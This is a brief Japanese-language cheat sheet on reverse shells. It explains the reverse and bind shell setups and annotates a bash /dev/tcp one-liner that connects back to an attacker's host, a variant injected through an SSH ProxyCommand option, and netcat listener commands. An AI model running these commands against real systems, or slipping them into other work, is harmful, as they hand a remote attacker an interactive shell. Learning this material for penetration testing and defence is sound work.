Reverse Shell
ターゲットのマシンがクライアント、攻撃者のマシンがサーバーとなり、クライアントからサーバーのシェルを操作するという設定。ターゲットマシンのIPアドレスを知る必要はない。Bind Shellは逆でターゲットのマシンがサーバー、攻撃者のマシンがクライアント。 チートシート
$ bash -i >& /dev/tcp/<HOST>/<PORT> 0>&1
bash -i: 対話型のshellを開く
>&: stdout, stderrを後に続くファイルにリダイレクト
0>&1: stdin(fd0)をstdout(fd1)にリダイレクト。これにより対話的な操作が可能になる。
ProxyCommandでBash経由で: -o ProxyCommand=bash -c "bash -i >& /dev/tcp/<HOST>/<PORT 0>&1"
Mac
$ nc -nvl <PORT>
Kali Linux
$ nc -nvlp <PORT>